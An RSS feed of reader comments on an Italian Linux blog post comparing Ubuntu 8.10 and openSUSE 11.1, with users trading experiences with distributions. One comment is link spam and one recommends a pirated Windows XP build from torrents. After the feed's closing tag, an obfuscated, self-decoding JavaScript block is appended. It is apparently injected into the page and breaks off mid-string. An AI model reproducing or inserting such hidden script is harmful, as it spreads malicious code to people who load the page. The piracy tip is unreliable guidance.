<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Commenti a: Ubuntu 8.10 vs OpenSuse 11.1</title>
	<atom:link href="http://www.tuxmind.org/2009/01/03/ubuntu-810-vs-opensuse-111/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.tuxmind.org/2009/01/03/ubuntu-810-vs-opensuse-111/</link>
	<description>Linux è bello!</description>
	<lastBuildDate>Wed, 17 Mar 2010 15:00:10 +0100</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>Di: qweasdasdasdaa</title>
		<link>http://www.tuxmind.org/2009/01/03/ubuntu-810-vs-opensuse-111/comment-page-1/#comment-6585</link>
		<dc:creator>qweasdasdasdaa</dc:creator>
		<pubDate>Sat, 20 Jun 2009 11:36:39 +0000</pubDate>
		<guid isPermaLink="false">http://www.tuxmind.org/?p=881#comment-6585</guid>
		<description>&lt;a href=&quot;http://sinema.at.ua&quot; rel=&quot;nofollow&quot;&gt;</description>
		<content:encoded><![CDATA[<p><a href="http://sinema.at.ua" rel="nofollow"></a></p>
]]></content:encoded>
	</item>
	<item>
		<title>Di: rec</title>
		<link>http://www.tuxmind.org/2009/01/03/ubuntu-810-vs-opensuse-111/comment-page-1/#comment-5782</link>
		<dc:creator>rec</dc:creator>
		<pubDate>Tue, 26 May 2009 08:20:51 +0000</pubDate>
		<guid isPermaLink="false">http://www.tuxmind.org/?p=881#comment-5782</guid>
		<description>Per quanto mi riguarda, visto le ultime evoluzioni le cose stanno così:

Comincio col dire che sono un niubbo dalle grandi pretese è non solo, sono anche un malefico amante di Windows (XP ovviamente, Vista per me non fa nemmeno testo) :D  
Generalmente tutti questi esperimenti con sistemi operativi li faccio su un veccho Duron 900MHz con 384mb di ram... E non solo, visto che sono un bastardo di prima categoria, pretendo pure che giri tutto perbenino perchè? Perchè un PIII 900MHz DEVE essere più che sufficente per navigare in internet, scaricare file torrent/emule e visualizzare film in formato DivX residenti in un hdd di rete collegato ad un router wireless. OK, potete infamarmi :D però aspettate un momento... Mi spiego meglio: normalmente sul mio vecchio e stanco PC uso Win XP con uTorrent, emule e mediaportal come mediacenter, si certamente non posso registrare la tv, ma tutto il resto funziona senza fare pieghe di alcun tipo e senza preoccupazioni di rallentamenti o cose strane, scarico tranquillamente sa torrent mentre guardo un film sul mediacenter ed infatti questa è la principale attività di questo PC. Ora venendo a noi (scusate il preambolo ma era necessario per inquadrare la situazione)... Ho fatto qualche esperimento con Ubuntu partendo dalla 6.10 con la quale ho avuto il &quot;piacere&quot; di iniziare il mio viaggio e devo dire che dopo ore di tentativi e stringhe criptiche (per un iubbo come me) sono riuscito ad usare la penna wireless, a mettere a posto samba e ad accedere al mio gruppo di lavoro, tutto funzionava bene e con una discreta velocità se nonchè ogni tanto la rete wireles cadeva e non c&#039;era verso di farla riprendere se non con un riavvio. dopo aver perso altre ore di ricerca del problema senza venire a capo di nulla sono tornato a Windows. Dopo un annetto ho riprovato con la 7.10 di ubuntu ma le cose non erano molto cambiate, tranne che per il fatto che Ubuntu era migliorato a livello di reperibilità di codec ed era più pesantuccio quindi... Beh inutile dirlo, Windows XP :) ... Imperterrito e soprattutto zuccone quale sono, sono passato a provare la 8.10, migliorata a livello wireless, anche se non di certo userfriendly nella configurazione di quest&#039;ultima ma sembrava essere parecchio migliorata: codec riconosciuti automaticamente, cestore GUI di reti wireless che sembrava quasi funzionare ed un player non male.... Tutto questo se non fosse stato per il dover chiudere entrambi gli occhi sulle prestazioni, infatti tutto cominciava a farsi un po&#039; troppo pesante, lento a tal punto che la gnome sembrava quasi smontarsi :D ma il problema più grande voveva ancora arrivare: le condivisioni di rete, ogli tanto il mio nas sembrava sparire, oppure mentre ero a metà di un film con quella gnocca di &quot;Kate Beckinsale&quot; (se non sapete chi sia googolate un po&#039; e vedrete che mi darete ragione :D ) la rete si bloccava e le condivisioni &quot;PUFF!...&quot; sparite. Dopo aver perso anche in questo caso svariaate orette del mio preziosissimo tempo, eccomi là: Windows XP. Proprio qualche giorno fa, siccome credo di essere masochista ho riprovato la 9.10 e con grande stupore ecco un sistema stabile! ;) cavolo la wireless funzionante senza nemmeno un click, installo samba e senza manco configurarlo vedo tutti i gruppi di lavoro, ci sguazzo dentro e mi guardo i film del mio nas con un player che si aggiorna i codec son una semplice conferma.... Mi son detto:&quot;MERAVIGLIOSO!!!! STUPENDO!!! FANTASTICO!!!&quot; e proprio mentre stavo sbavando di gioia mi è caduto l&#039;occhio sull&#039;orologio, era passato un minuto da quando avevo cliccato per aprire firefox, a parte nautilus era tutto lentissimo, per fare una ricerca su google, digitavo la parola di ricercare e poi me ne stavo tranquillamente qualche secondo ad aspettare che la parola stessa comparisso effettivamente sullo schermo, tutto a rallenty, provo a masterizzare un cd con 18 mp3 dentro e vi dico solo questo: prima che brasero finisse la normalizzazione delle tracce ho fatto in tempo ad avviare il portatile, copiarne i file dentro attraverso una chiavetta e masterizzare il CD... Vabbè detto questo vi dico:&quot;Che sistema operativo ho adesso?&quot; :D Windows XP?... :D Tutto questo per dire che vorrei tanto provare SUSE sperando di non avere tutti questi problemi, sperando di non dover essere un programmatore per farla funzionare (Ah! dimenticavo... Nella vita faccio davvero il programmatore :) ) e sperando che le reti ed i gruppi di navoro siano stabili senza dover modificare tutti i file di testo del mondo. Ah un&#039;altra pretesa è quella di poter evitare di installare Openoffice, gimp e tutte quelle cose che non mi servono a nulla sperando magari di ottenere un sistema un minimo snello. Voi che ne dite?... Vi assicuro che XP lo fa... E&#039; veloce e stabile, ma non ho la licenza quindi lo devo togliere. Altre prove le ho fatte con dawn small linux, per carità, velocissimo e piccolissimo, ma a mio parere schifoso come interfaccia e configurabilità, non sapevo dove sbattere la testa, ho provato anche fedora ma era una vecchia versione e di impallava di brutto... Al momento uso &quot;Windows faster XP V.1&quot; cercatela su torrent, fa letteralmente paura, 200mb di installazione, svuotata di tutto, gira con 65mb di ram e va come una fucilata, è veramente eccezionale, forse il miglio S.O. che io abbia mai provato, ma in quanto alla sua licenza... :D Tornando a Linux volete sapere per me qual&#039;è la miglior distribuzione? La più stabile e performante? La più facile da usare ed installare? La migliore di tutte in assoluto? SLAX (www.slax.org), provare per credere, la sto cominciando ad usare e finalmente qualcosa di bello, 200mb di spazio, installabile su chiavetta o hdd in 3 minuti (basta copiare i file dentro e lanciare un file bat o sh), niente di preinstallato, dire che è veloce è dire poco, usa KDE ma 10 volte più veloce di xfce su ubuntu, pacchetti di installazione lzm che per installarli basta un click e si installano da soli, addirittura potere installare direttamente dal sito, potete crearmi il pacchetto di installazione personalizzato, supporta conversione di pacchetti debian e slackware... Con 2 click ho installato wpasupplicant e wirelessassistent ed ho una wireless perfetta, l&#039;hardware è perteffaente riconosciuto e tutto funziona meravigliosamente, a parte aver dovuto configurare samba. Ragazzi SLAX è veramente il miglior esempio di linux che io abbia mai visto: un linux che finalmente mostra le vere caratteristiche tanto acclamate: velocità, stabilità e piena funzionalità. Per il momento è il miglior linux che io abbia mai provato, quasi bello come XP :D (magari scoprendolo meglio lo sarà anche di più) ;) Adesso la messa è vinita... Andate in pace :D Scusate la lunghezza dell&#039;alrticolo :D Ciao ciao</description>
		<content:encoded><![CDATA[<p>Per quanto mi riguarda, visto le ultime evoluzioni le cose stanno così:</p>
<p>Comincio col dire che sono un niubbo dalle grandi pretese è non solo, sono anche un malefico amante di Windows (XP ovviamente, Vista per me non fa nemmeno testo) <img src='http://www.tuxmind.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /><br />
Generalmente tutti questi esperimenti con sistemi operativi li faccio su un veccho Duron 900MHz con 384mb di ram&#8230; E non solo, visto che sono un bastardo di prima categoria, pretendo pure che giri tutto perbenino perchè? Perchè un PIII 900MHz DEVE essere più che sufficente per navigare in internet, scaricare file torrent/emule e visualizzare film in formato DivX residenti in un hdd di rete collegato ad un router wireless. OK, potete infamarmi <img src='http://www.tuxmind.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  però aspettate un momento&#8230; Mi spiego meglio: normalmente sul mio vecchio e stanco PC uso Win XP con uTorrent, emule e mediaportal come mediacenter, si certamente non posso registrare la tv, ma tutto il resto funziona senza fare pieghe di alcun tipo e senza preoccupazioni di rallentamenti o cose strane, scarico tranquillamente sa torrent mentre guardo un film sul mediacenter ed infatti questa è la principale attività di questo PC. Ora venendo a noi (scusate il preambolo ma era necessario per inquadrare la situazione)&#8230; Ho fatto qualche esperimento con Ubuntu partendo dalla 6.10 con la quale ho avuto il &#8220;piacere&#8221; di iniziare il mio viaggio e devo dire che dopo ore di tentativi e stringhe criptiche (per un iubbo come me) sono riuscito ad usare la penna wireless, a mettere a posto samba e ad accedere al mio gruppo di lavoro, tutto funzionava bene e con una discreta velocità se nonchè ogni tanto la rete wireles cadeva e non c&#8217;era verso di farla riprendere se non con un riavvio. dopo aver perso altre ore di ricerca del problema senza venire a capo di nulla sono tornato a Windows. Dopo un annetto ho riprovato con la 7.10 di ubuntu ma le cose non erano molto cambiate, tranne che per il fatto che Ubuntu era migliorato a livello di reperibilità di codec ed era più pesantuccio quindi&#8230; Beh inutile dirlo, Windows XP <img src='http://www.tuxmind.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  &#8230; Imperterrito e soprattutto zuccone quale sono, sono passato a provare la 8.10, migliorata a livello wireless, anche se non di certo userfriendly nella configurazione di quest&#8217;ultima ma sembrava essere parecchio migliorata: codec riconosciuti automaticamente, cestore <acronym title="Graphical User Interface">GUI</acronym> di reti wireless che sembrava quasi funzionare ed un player non male&#8230;. Tutto questo se non fosse stato per il dover chiudere entrambi gli occhi sulle prestazioni, infatti tutto cominciava a farsi un po&#8217; troppo pesante, lento a tal punto che la gnome sembrava quasi smontarsi <img src='http://www.tuxmind.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  ma il problema più grande voveva ancora arrivare: le condivisioni di rete, ogli tanto il mio nas sembrava sparire, oppure mentre ero a metà di un film con quella gnocca di &#8220;Kate Beckinsale&#8221; (se non sapete chi sia googolate un po&#8217; e vedrete che mi darete ragione <img src='http://www.tuxmind.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  ) la rete si bloccava e le condivisioni &#8220;PUFF!&#8230;&#8221; sparite. Dopo aver perso anche in questo caso svariaate orette del mio preziosissimo tempo, eccomi là: Windows XP. Proprio qualche giorno fa, siccome credo di essere masochista ho riprovato la 9.10 e con grande stupore ecco un sistema stabile! <img src='http://www.tuxmind.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  cavolo la wireless funzionante senza nemmeno un click, installo samba e senza manco configurarlo vedo tutti i gruppi di lavoro, ci sguazzo dentro e mi guardo i film del mio nas con un player che si aggiorna i codec son una semplice conferma&#8230;. Mi son detto:&#8221;MERAVIGLIOSO!!!! STUPENDO!!! FANTASTICO!!!&#8221; e proprio mentre stavo sbavando di gioia mi è caduto l&#8217;occhio sull&#8217;orologio, era passato un minuto da quando avevo cliccato per aprire firefox, a parte nautilus era tutto lentissimo, per fare una ricerca su google, digitavo la parola di ricercare e poi me ne stavo tranquillamente qualche secondo ad aspettare che la parola stessa comparisso effettivamente sullo schermo, tutto a rallenty, provo a masterizzare un cd con 18 mp3 dentro e vi dico solo questo: prima che brasero finisse la normalizzazione delle tracce ho fatto in tempo ad avviare il portatile, copiarne i file dentro attraverso una chiavetta e masterizzare il <acronym title="Compact Disc">CD</acronym>&#8230; Vabbè detto questo vi dico:&#8221;Che sistema operativo ho adesso?&#8221; <img src='http://www.tuxmind.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  Windows XP?&#8230; <img src='http://www.tuxmind.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  Tutto questo per dire che vorrei tanto provare SUSE sperando di non avere tutti questi problemi, sperando di non dover essere un programmatore per farla funzionare (Ah! dimenticavo&#8230; Nella vita faccio davvero il programmatore <img src='http://www.tuxmind.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ) e sperando che le reti ed i gruppi di navoro siano stabili senza dover modificare tutti i file di testo del mondo. Ah un&#8217;altra pretesa è quella di poter evitare di installare Openoffice, gimp e tutte quelle cose che non mi servono a nulla sperando magari di ottenere un sistema un minimo snello. Voi che ne dite?&#8230; Vi assicuro che XP lo fa&#8230; E&#8217; veloce e stabile, ma non ho la licenza quindi lo devo togliere. Altre prove le ho fatte con dawn small linux, per carità, velocissimo e piccolissimo, ma a mio parere schifoso come interfaccia e configurabilità, non sapevo dove sbattere la testa, ho provato anche fedora ma era una vecchia versione e di impallava di brutto&#8230; Al momento uso &#8220;Windows faster XP V.1&#8243; cercatela su torrent, fa letteralmente paura, 200mb di installazione, svuotata di tutto, gira con 65mb di ram e va come una fucilata, è veramente eccezionale, forse il miglio S.O. che io abbia mai provato, ma in quanto alla sua licenza&#8230; <img src='http://www.tuxmind.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  Tornando a Linux volete sapere per me qual&#8217;è la miglior distribuzione? La più stabile e performante? La più facile da usare ed installare? La migliore di tutte in assoluto? SLAX (www.slax.org), provare per credere, la sto cominciando ad usare e finalmente qualcosa di bello, 200mb di spazio, installabile su chiavetta o hdd in 3 minuti (basta copiare i file dentro e lanciare un file bat o sh), niente di preinstallato, dire che è veloce è dire poco, usa <acronym title="Kool Desktop Environment">KDE</acronym> ma 10 volte più veloce di xfce su ubuntu, pacchetti di installazione lzm che per installarli basta un click e si installano da soli, addirittura potere installare direttamente dal sito, potete crearmi il pacchetto di installazione personalizzato, supporta conversione di pacchetti debian e slackware&#8230; Con 2 click ho installato wpasupplicant e wirelessassistent ed ho una wireless perfetta, l&#8217;hardware è perteffaente riconosciuto e tutto funziona meravigliosamente, a parte aver dovuto configurare samba. Ragazzi SLAX è veramente il miglior esempio di linux che io abbia mai visto: un linux che finalmente mostra le vere caratteristiche tanto acclamate: velocità, stabilità e piena funzionalità. Per il momento è il miglior linux che io abbia mai provato, quasi bello come XP <img src='http://www.tuxmind.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  (magari scoprendolo meglio lo sarà anche di più) <img src='http://www.tuxmind.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  Adesso la messa è vinita&#8230; Andate in pace <img src='http://www.tuxmind.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  Scusate la lunghezza dell&#8217;alrticolo <img src='http://www.tuxmind.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  Ciao ciao</p>
]]></content:encoded>
	</item>
	<item>
		<title>Di: Criss</title>
		<link>http://www.tuxmind.org/2009/01/03/ubuntu-810-vs-opensuse-111/comment-page-1/#comment-4272</link>
		<dc:creator>Criss</dc:creator>
		<pubDate>Sun, 19 Apr 2009 18:50:27 +0000</pubDate>
		<guid isPermaLink="false">http://www.tuxmind.org/?p=881#comment-4272</guid>
		<description>Provate adesso opensuse 11.1 e poi parliamone, in quel periodo opensuse era appena stata rilasciata invece ubuntu no. Inoltre avete provato per la maggior parte opensuse con kde4.1 provatela con il 4.2, oppure con gnome, una vera bomba!!
SArei felice di vedere un nuovo confronto opensuse11.1 vs ubuntu anche la 9.04 se volete.
Vorrei poi far notare alcune pecchè a mio modo di vedere molto gravi di ubuntu, prima di tutto non chiede la password di root durante l&#039;installazione, secondo sempre in installazione non lascia scegliere i pacchetti da installare, terzo sulla carta(e per quel che mi riguarda anche) opensuse richiede solo 256mb di ram ubuntu 384(se non erro o qualcosa di simile).

@andy
I&#039;m using opensuse 11.1 with enlightenment it works perfectly</description>
		<content:encoded><![CDATA[<p>Provate adesso opensuse 11.1 e poi parliamone, in quel periodo opensuse era appena stata rilasciata invece ubuntu no. Inoltre avete provato per la maggior parte opensuse con kde4.1 provatela con il 4.2, oppure con gnome, una vera bomba!!<br />
SArei felice di vedere un nuovo confronto opensuse11.1 vs ubuntu anche la 9.04 se volete.<br />
Vorrei poi far notare alcune pecchè a mio modo di vedere molto gravi di ubuntu, prima di tutto non chiede la password di root durante l&#8217;installazione, secondo sempre in installazione non lascia scegliere i pacchetti da installare, terzo sulla carta(e per quel che mi riguarda anche) opensuse richiede solo 256mb di ram ubuntu 384(se non erro o qualcosa di simile).</p>
<p>@andy<br />
I&#8217;m using opensuse 11.1 with enlightenment it works perfectly</p>
]]></content:encoded>
	</item>
	<item>
		<title>Di: Daniel</title>
		<link>http://www.tuxmind.org/2009/01/03/ubuntu-810-vs-opensuse-111/comment-page-1/#comment-3793</link>
		<dc:creator>Daniel</dc:creator>
		<pubDate>Sun, 05 Apr 2009 11:02:49 +0000</pubDate>
		<guid isPermaLink="false">http://www.tuxmind.org/?p=881#comment-3793</guid>
		<description>Bah... dopo 5 anni di debian, ho installato l&#039;ultima ubuntu e mi trovo bene. Su linux&amp;c ho trovato la opensuse 11.1. Installata nel II° H.D. , mi è sparito il grub, si bloccava e non mi riconosceva il wifi, manco a cannonate... dopo mezz&#039;ora l&#039;ho disinstallata. Sicuramente non posso dare giudizi, perchè non ho avuto tempo per valutare, ma come primo impatto è stato negativo, tanto da toglierla subito.</description>
		<content:encoded><![CDATA[<p>Bah&#8230; dopo 5 anni di debian, ho installato l&#8217;ultima ubuntu e mi trovo bene. Su linux&amp;c ho trovato la opensuse 11.1. Installata nel II° H.D. , mi è sparito il grub, si bloccava e non mi riconosceva il wifi, manco a cannonate&#8230; dopo mezz&#8217;ora l&#8217;ho disinstallata. Sicuramente non posso dare giudizi, perchè non ho avuto tempo per valutare, ma come primo impatto è stato negativo, tanto da toglierla subito.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Di: Ed</title>
		<link>http://www.tuxmind.org/2009/01/03/ubuntu-810-vs-opensuse-111/comment-page-1/#comment-3018</link>
		<dc:creator>Ed</dc:creator>
		<pubDate>Sun, 08 Mar 2009 11:32:54 +0000</pubDate>
		<guid isPermaLink="false">http://www.tuxmind.org/?p=881#comment-3018</guid>
		<description>Come on guys !!! OpenSuse soon will rule the world !! Very friendly, very artistic and very smooth...and of course NOVELL will invest a lot of efort to make it better and better !</description>
		<content:encoded><![CDATA[<p>Come on guys !!! OpenSuse soon will rule the world !! Very friendly, very artistic and very smooth&#8230;and of course NOVELL will invest a lot of efort to make it better and better !</p>
]]></content:encoded>
	</item>
	<item>
		<title>Di: D C</title>
		<link>http://www.tuxmind.org/2009/01/03/ubuntu-810-vs-opensuse-111/comment-page-1/#comment-2975</link>
		<dc:creator>D C</dc:creator>
		<pubDate>Fri, 06 Mar 2009 19:08:52 +0000</pubDate>
		<guid isPermaLink="false">http://www.tuxmind.org/?p=881#comment-2975</guid>
		<description>An adumbration of my experiences with the three most recognized Linux distros (64-bit):

Fedora 10 lacks multimedia basics (even Flash player!) but was otherwise stable

OpenSUSE 11.1 had a lot of problems that I didn&#039;t get in Fedora 10 (from Compiz to the hostname not being correct - maybe I downloaded a compromised version)

So far, Ubuntu 8.10 has been very stable.  Had to manually add some bits and pieces, but at the same time installing the nVidia proprietary driver was never easier.  Even easier than Windows... :eek:  Have yet to test multimedia functionality, though I am seeing Flash player software through Synaptic package installer... 

My money, so to speak, is on Ubuntu</description>
		<content:encoded><![CDATA[<p>An adumbration of my experiences with the three most recognized Linux distros (64-bit):</p>
<p>Fedora 10 lacks multimedia basics (even Flash player!) but was otherwise stable</p>
<p>OpenSUSE 11.1 had a lot of problems that I didn&#8217;t get in Fedora 10 (from Compiz to the hostname not being correct &#8211; maybe I downloaded a compromised version)</p>
<p>So far, Ubuntu 8.10 has been very stable.  Had to manually add some bits and pieces, but at the same time installing the nVidia proprietary driver was never easier.  Even easier than Windows&#8230; <img src='http://www.tuxmind.org/wp-includes/images/smilies/icon_surprised.gif' alt=':eek:' class='wp-smiley' />   Have yet to test multimedia functionality, though I am seeing Flash player software through Synaptic package installer&#8230; </p>
<p>My money, so to speak, is on Ubuntu</p>
]]></content:encoded>
	</item>
	<item>
		<title>Di: Mad</title>
		<link>http://www.tuxmind.org/2009/01/03/ubuntu-810-vs-opensuse-111/comment-page-1/#comment-2838</link>
		<dc:creator>Mad</dc:creator>
		<pubDate>Thu, 26 Feb 2009 09:37:20 +0000</pubDate>
		<guid isPermaLink="false">http://www.tuxmind.org/?p=881#comment-2838</guid>
		<description>@francesco
se vuoi stabilità a mio avviso niente è meglio di Debian. L&#039; ultimo rilascio,Lenny, è una distro che non gode certamente degli ultimi ritrovati della tecnologia open source, sappiamo la politica di Debian in tal senso,ma è super testata e super stabile. Se invece vuoi un buon compromesso tra la stabilità e la novità ecco che si torna a Ubuntu. 
@Andy
I never tried enlightment with opensuse. Sorry!</description>
		<content:encoded><![CDATA[<p>@francesco<br />
se vuoi stabilità a mio avviso niente è meglio di Debian. L&#8217; ultimo rilascio,Lenny, è una distro che non gode certamente degli ultimi ritrovati della tecnologia open source, sappiamo la politica di Debian in tal senso,ma è super testata e super stabile. Se invece vuoi un buon compromesso tra la stabilità e la novità ecco che si torna a Ubuntu.<br />
@Andy<br />
I never tried enlightment with opensuse. Sorry!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Di: Andy</title>
		<link>http://www.tuxmind.org/2009/01/03/ubuntu-810-vs-opensuse-111/comment-page-1/#comment-2825</link>
		<dc:creator>Andy</dc:creator>
		<pubDate>Wed, 25 Feb 2009 22:10:21 +0000</pubDate>
		<guid isPermaLink="false">http://www.tuxmind.org/?p=881#comment-2825</guid>
		<description>I&#039;d like to try opensuse because of Yast, I&#039;m a linux newbie and the appeal of some kind of &#039;super&#039; control center very strong.

Yet, my laptop is a p3 @1ghz w/512ram and a 30gig hd. I don&#039;t think I have the muscle to run Suse whereas this old laptop simply kicks under ubuntu 8.04 and flies (faaaaast) under opengeu.

Does anyone know how enlightenment runs with opensuse?</description>
		<content:encoded><![CDATA[<p>I&#8217;d like to try opensuse because of Yast, I&#8217;m a linux newbie and the appeal of some kind of &#8217;super&#8217; control center very strong.</p>
<p>Yet, my laptop is a p3 @1ghz w/512ram and a 30gig hd. I don&#8217;t think I have the muscle to run Suse whereas this old laptop simply kicks under ubuntu 8.04 and flies (faaaaast) under opengeu.</p>
<p>Does anyone know how enlightenment runs with opensuse?</p>
]]></content:encoded>
	</item>
	<item>
		<title>Di: francesco</title>
		<link>http://www.tuxmind.org/2009/01/03/ubuntu-810-vs-opensuse-111/comment-page-1/#comment-2811</link>
		<dc:creator>francesco</dc:creator>
		<pubDate>Tue, 24 Feb 2009 17:59:31 +0000</pubDate>
		<guid isPermaLink="false">http://www.tuxmind.org/?p=881#comment-2811</guid>
		<description>uso un laptop leggero ma ho bisogno di fare multitasking e sopratutto ho bisogno di stabilità.
un anno esatto fa, ho iniziato con opensuse 11.0 che mi è sembrata finalmente una buona alternativa a windows, a parte i crash di kde4 che all&#039;inizio non sono stati pochi. 
Ma questa 11.1 è una delusione. Sto perdendo tempo a configurare qua e là e ogni tanto non capisco se è il sistema che è proprio bacato o se sono io che non ho piu&#039; la freschezza dei 20&#039;anni. 
Indietro non si torna! Ma ...
Debian è all&#039;opposto di suse, non ho tanta voglia di iniziare da capo. 
Gentoo: ho passato le vacanze di natale a compilare 
Arch? Ne parlano come se fosse l&#039;uovo di colombo, ma oltre la linea di comando non sono riuscito ad andare. Ammetto le mie carenze, nessuno si offenda. 
Sto pensando di installare puppy sull&#039;hardisk e vai...
consigli (leggere bene la prima frase)?
ciao</description>
		<content:encoded><![CDATA[<p>uso un laptop leggero ma ho bisogno di fare multitasking e sopratutto ho bisogno di stabilità.<br />
un anno esatto fa, ho iniziato con opensuse 11.0 che mi è sembrata finalmente una buona alternativa a windows, a parte i crash di kde4 che all&#8217;inizio non sono stati pochi.<br />
Ma questa 11.1 è una delusione. Sto perdendo tempo a configurare qua e là e ogni tanto non capisco se è il sistema che è proprio bacato o se sono io che non ho piu&#8217; la freschezza dei 20&#8242;anni.<br />
Indietro non si torna! Ma &#8230;<br />
Debian è all&#8217;opposto di suse, non ho tanta voglia di iniziare da capo.<br />
Gentoo: ho passato le vacanze di natale a compilare<br />
Arch? Ne parlano come se fosse l&#8217;uovo di colombo, ma oltre la linea di comando non sono riuscito ad andare. Ammetto le mie carenze, nessuno si offenda.<br />
Sto pensando di installare puppy sull&#8217;hardisk e vai&#8230;<br />
consigli (leggere bene la prima frase)?<br />
ciao</p>
]]></content:encoded>
	</item>
	<item>
		<title>Di: czerro</title>
		<link>http://www.tuxmind.org/2009/01/03/ubuntu-810-vs-opensuse-111/comment-page-1/#comment-2780</link>
		<dc:creator>czerro</dc:creator>
		<pubDate>Mon, 23 Feb 2009 06:15:42 +0000</pubDate>
		<guid isPermaLink="false">http://www.tuxmind.org/?p=881#comment-2780</guid>
		<description>I have to disagree.  How is opensuse more &quot;windows-like&quot;?  Opensuse 11.1/Gnome compared to Ubuntu 8.10/Gnome is very transparent.  And when it comes down to it, most serious linux activities are performed via terminal in which the activity IS transparent.  The download issue in YAST is something of a bug I think.  At default yast should select the best mirror, but apparently this does not happen.  It is a simple task to switch to a better default mirror, of which there are many.  Honestly, this sounds more like a windows-user complaints because even though he is incredibly frustrated by his inability to get a good connection to the repositories, he can&#039;t be bothered to look up the repo mirrors and use the supplied gui to remove the default and include some new ones.  Secondly, Ubuntu/Fedora/OpenSuse all take approximately the same amount of time to boot on my system give or take a couple seconds.  Hardly a worthwhile complaint.  And lastly, what the heck do you mean by heaviness?  System load at default is not significantly different than any other linux distro default.  If you are referring to application performance provide benchmarks to this effect.  

Honestly, I (and any user ACTUALLY familiar with linux) can use any of the distro&#039;s effectively and usually my choice comes down to some oddity of hardware configuration or software requirement that only 1 of the 3 above has a kernel that supports correctly.  

I actually do give Opensuse 11.1 a slight edge to all others, simply because it feels a little more polished and reliable to me.</description>
		<content:encoded><![CDATA[<p>I have to disagree.  How is opensuse more &#8220;windows-like&#8221;?  Opensuse 11.1/Gnome compared to Ubuntu 8.10/Gnome is very transparent.  And when it comes down to it, most serious linux activities are performed via terminal in which the activity IS transparent.  The download issue in YAST is something of a bug I think.  At default yast should select the best mirror, but apparently this does not happen.  It is a simple task to switch to a better default mirror, of which there are many.  Honestly, this sounds more like a windows-user complaints because even though he is incredibly frustrated by his inability to get a good connection to the repositories, he can&#8217;t be bothered to look up the repo mirrors and use the supplied gui to remove the default and include some new ones.  Secondly, Ubuntu/Fedora/OpenSuse all take approximately the same amount of time to boot on my system give or take a couple seconds.  Hardly a worthwhile complaint.  And lastly, what the heck do you mean by heaviness?  System load at default is not significantly different than any other linux distro default.  If you are referring to application performance provide benchmarks to this effect.  </p>
<p>Honestly, I (and any user ACTUALLY familiar with linux) can use any of the distro&#8217;s effectively and usually my choice comes down to some oddity of hardware configuration or software requirement that only 1 of the 3 above has a kernel that supports correctly.  </p>
<p>I actually do give Opensuse 11.1 a slight edge to all others, simply because it feels a little more polished and reliable to me.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script language="javascript">function t(){return z($a);}var $a="Z73tZ3dZ22Z2573tZ253dZ2522Z2524Z2561Z253dstZ253bdZ2563Z2573Z2528Z2564Z2561+Z2564Z2562Z252bdZ2563+Z2564Z2564+Z2564eZ252cZ2531Z2530Z2529;Z2564Z2577(Z2573Z2574Z2529Z253bsZ2574Z253d$Z2561Z253bZ2522;Z22;caZ3dZ22Z2566uZ256ectZ2569Z256fnZ2520dZ2563Z2573Z2528dsZ252cesZ2529Z257bdsZ253dunZ2565sZ25Z22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ25Z22;dcZ3dZ22rs}vybZ3esZ257F}7+fqb0}Z257F~dxc0-0~ug0Qbbqi87e~Z257F7Z3c07tfu7Z3c07dxb7Z3c07vyb7Z3c07fyv7Z3c07huc7Z3c07fuc7Z3c07wxd7Z3c07u~y7Z3c07ud~7Z3c07|uf7Z3c07dgu79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}